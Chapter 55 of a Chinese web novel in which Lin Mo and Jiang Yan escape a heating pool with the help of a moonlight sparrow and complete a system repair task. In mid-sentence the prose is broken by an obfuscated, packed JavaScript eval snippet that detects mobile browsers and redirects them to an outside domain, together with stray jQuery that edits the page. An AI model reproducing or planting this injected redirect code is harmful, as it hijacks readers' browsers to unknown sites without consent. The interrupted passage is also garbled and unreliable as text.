55. 舟迷归年(皮影)
作品:《在非遗系统救老板》 阴魂不散。
林茉脑海中最先浮现的是这四个字。
其实她自己也很疲惫,意外一波接着一波,还要绷紧自己,强迫自己打起精神,来支撑更加虚弱的江砚。
刚刚安稳了一点点,气都还没喘匀,又来。
为什么没完没了啊?
一股极其烦躁的能量从心底涌了上来,将先前的短暂清明冲散得支离破碎、无影无踪。
林茉让自己故意不去理会那片黄色皮影。
无视,转移注意力。
“现在暂时没事,”她对江砚说,“太累的话靠着我休息会儿”。
温热的水流一漾一漾,带着几颗小小的气泡,升上水面、破裂。
那抹刺眼的黄,就在水中幽幽浮沉,时不时还会碰到林茉,像一块不肯沉底的旧疤。
江砚笑了笑,“谢谢姐姐。”
但他并未将自己的重量分担给林茉,“我好些了。”
如若抛开思索未知的危险、虚弱的体力、阴魂不散的黄色皮影...
其实这里也没什么不好,安静、温暖,是一个合适的暂时补充体力之处。
但问题就在于,如何能抛开那些思索?
根本就是不能。
且不说随时可能来的未知危险,那片黄色皮影就让人无法忽略。
尽管林茉已经在转移注意力,但那抹刺眼的黄始终无法忽略,哪怕眼睛看不到,心中也控制不住在想。
烦死了,林茉干脆一把捞起,到底想怎么样?!
“嗯?——”
捞到手上,却是意外。
江砚闻声靠过来,疲惫中流露着温柔,“怎么又出现了。”
原本扭曲的黄色皮影图案逐渐清晰,上面的图案并非林茉害怕的黄色桌子,而是一片片棱角分明的条状纹理,透着点野性的彪悍。
这是——
好眼熟。
“虎皮纹?”林茉喃喃,紧绷的神经意外地松了一丝。
她去向江砚确认,得到了一个乖乖确认的点头。
虎皮纹?
?
莫名奇妙。
林茉哭笑不得,这里为什么会出现这种东西啊?!
然而,他们没法继续享受这暂时的放松,因为又有异变发生——
“你觉不觉得,”林茉有些迟疑,“水温好像变热了?”
仿佛是在回应林茉的疑问,原本平静的水域,气泡忽然多了起来。
“走。”江砚疲惫地想要撑起身体。
他也感觉到水温的确在升高,必须找到河岸,否则再继续下去,后果不堪设想。
一旦意识到了热,对热的感受就越发明显,脚下粘稠的水底淤泥也让人格外不舒服,林茉扶着江砚从水中站起,但淤泥一软,她滑了一下。
江砚的重量还在她身上,这下两个人完全失控,齐齐摔进水中。
水花翻涌——
温热瞬间将他们包裹,汗水几乎是瞬间就从额头、鬓角、颈窝涌了出来,混合着温热的池水,黏腻地贴在皮肤上。
林茉真的不想再提起哪怕一丝丝力气,她想不通为什么自己要遭受这些一波一波的意外。
真的太累了。
腰被人搂了一下,随后,有一股力气支撑着林茉从水中脱离。
是江砚。
他更是咬着牙挤出的最后一丝力气,眼神迷蒙,带着浓重的疲惫,似乎下一秒就要晕倒了。汗水顺着他苍白的脸颊滑落,滚过棱角分明的下颌线,滴在林茉手臂皮肤上,那一点湿热的触感竟比周围滚烫的水更清晰。
林茉抛开情绪,赶忙再次扶住江砚,用身体分担一些他的重量。
“跟着我,慢慢走。”
“嗯。”江砚含糊地应了一声,
但林茉却感受到他身体的重量不受控制地、更沉重地压了过来,已经有些微烫的水流推挤着两人,皮肤隔着湿透的薄衣紧紧相贴,摩擦带来的不再是之前的微妙感受,而是某种在高温和窒息边缘挣扎的的亲密。
带着一丝绝望的暴烈,林茉想:如果这就是末世,那么她肯定会在最终时刻到来前告诉江砚,她是喜欢他的。
他们互相支持到了最后一刻。
林茉能清晰地感受到江砚胸膛的起伏,每一次沉重的呼吸都喷在她的耳际,灼热而湿润。
她艰难地腾出一只手,胡乱抹去糊住眼睛的汗水和蒸汽,想看清周围有没有转机。
水雾弥漫,视线所及只有翻腾的气泡和幽暗的蓝紫色光晕,绝望感如同这不断升温的水,一点点漫过胸口。
呼吸也变得困难,每一次吸气都像吞下灼热的湿棉花。
到底有没有河岸啊。
“又是这样——”林茉低声说。
每一次稍微放松一点,迎来的都是更深的陷阱,她支撑着江砚的手臂开始发酸发颤。
“啾——!”一丝细小的声音划破划破虚空、水汽,穿透已经处于悬崖边缘的绝望,传了过来。
林茉起初以为自己听错了,扶着江砚继续艰难前行。
“啾——!”
声音再次传来。
这下林茉可以确定没有听错,而且这声音好耳熟——
月光雀!
一道银色流光,如同撕破混沌的流星,倏然穿透一切迷雾,扑到林茉面前!
真的是月光雀!
它小小的身躯在这片诡异水域中显得异常灵动,翎羽闪烁着清冷的月华,简直像是从天而降的吉祥物。
它轻盈地绕着狼狈不堪的两人盘旋一周,发出一声清越鸟鸣,随即毫不犹豫地朝着一个方向振翅飞去。
“跟着它。”林茉用尽力气拖着江砚往雀鸟指引的方向跋涉。
滚烫的水流阻力巨大,每一步都异常艰难。
汗水流进眼睛,刺痛难忍。江砚几乎是被她半拖半抱着前进,他的脚步踉跄虚浮,意识似乎又在高温的蒸腾下模糊起来,身体越来越沉。
其实一开始得知自己与这个奇怪系统扯上联系,她是抱着很无所谓的态度,根本想不到自己居然还会有拼尽全力寻找出路的时刻。
“江砚,坚持一下。”林茉喘息着,用力捏了捏他搭在自己肩上的手臂。
江砚费力地抬起眼皮,目光有些涣散地落在林茉汗湿的侧脸上。
林茉原本只是观察江砚状态时无意间瞟了一眼,但收回目光后,心底忽然升起一丝异常,于是她再次看向江砚——
那眼神深处,除了疲惫,似乎还有一丝不同寻常的——阴郁?
眼底被高温和虚弱激发出一点红。
江砚看着林茉,没有说话,手臂忽然收紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724475|164012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,将林茉往自己怀里狠狠一带,那是一种此刻的他不应该有的力道,带着近乎蛮横的占有欲,仿佛要将她融合进自己滚烫的怀抱里。
“江砚!松手!我们得找到河岸。”林茉被他勒得呼吸一窒,内心又不受控制地紧张起来。
这不是正常的江砚。
“姐姐——”江砚的声音贴着她的耳廓响起,带着一种奇异的、令人难以心安的温柔,“别走,一直陪我,好不好?”
他指尖无意识地划过她脖颈上那道被缎带勒出的红痕,语气中带着一种病态的迷恋。“这里只有我们。”
林茉心头剧震,一股寒意窜遍全身,一时间竟压过了烫人的水温。
“江砚!醒醒!”她用尽全力挣扎,指甲几乎要掐进他手臂的肌肉,“看着我!我是林茉!”
“林茉,”江砚重复着她的名字,眼神空洞了一瞬,似乎在挣扎,手臂的钳制放松了一些,脸颊微红,带着病态的温柔,“姐姐,我的,别离开——”
或许这样又激发了江砚的某种力量,在这个莫名的小插曲之后,他们的前进速度竟然快了一些。
月光雀在不远处盘旋、鸣叫着,催促着他们。
银色流光从它身上不断溢出,如同活物般向上飘升,融入头顶那片因齿轮故障而狂暴翻涌的失控云海。
前方隐隐约约出现了深色轮廓。
终于——!
他们终于可以脱离这片烫人水域。
待到他们再次喘息均匀,水面上已经冒气了肉眼可见的蒸汽,而且这蒸汽不是常见的纯白色,而是彩色的。
或许是有皮影碎片存在其中的缘故?
七彩的蒸汽流如同柔和的调和剂,渗入混乱的云团。
那些狂暴翻滚、仿佛蕴含雷霆之怒的浓云,在它的浸润下,如同被一只温柔的手抚平,翻涌的速度肉眼可见地减缓下来。
然后,仿佛奇迹在眼前出现——
漆心秤云朵灰暗、压抑的色泽被洗涤,渐渐透出一种安宁、清透的质感,甚至隐隐散发出柔和的光晕。
随着云朵的稳定和净化,另一边那嘎吱作响、运转混乱的巨大齿轮,也仿佛被注入了一股清澈的力量。刺
耳的摩擦声逐渐减弱,卡顿的地方被无形的力量润滑开,混乱的节奏逐渐找到了章法,开始以一种稳定、和谐的韵律转动起来。
系统音响起:
【恭喜您,漆心秤修复完成】
与此同时,高悬于虚空、一直冷漠阴森的千手漆佛动了。
那双镶嵌着冰冷眼珠的巨大佛首,缓缓地垂下了目光,笼罩在林茉和江砚身上。无形的视线仿佛穿透空间,落在相互依靠的两人身上,带着一丝如同母亲抚慰般的悲悯。
有金色的光团从上飘落。
起初林茉以为又有意外,但江砚及时安抚了她的紧张,“你看,姐姐。”
那些发出金色光芒的并非麻烦,而是一些重复的汉字,带着神圣感,如同无声的箴言,他们仰视着那些光是看上去就能传递安心和温暖的文字。
很快,他们都拼出了那句话:
爱久见人心。
---
“经年隔幽明,喜的是今日团圆事成——”
杜丽娘那婉转哀戚又带着一丝诡异喜庆的唱腔,如同下课铃声一般再次响起。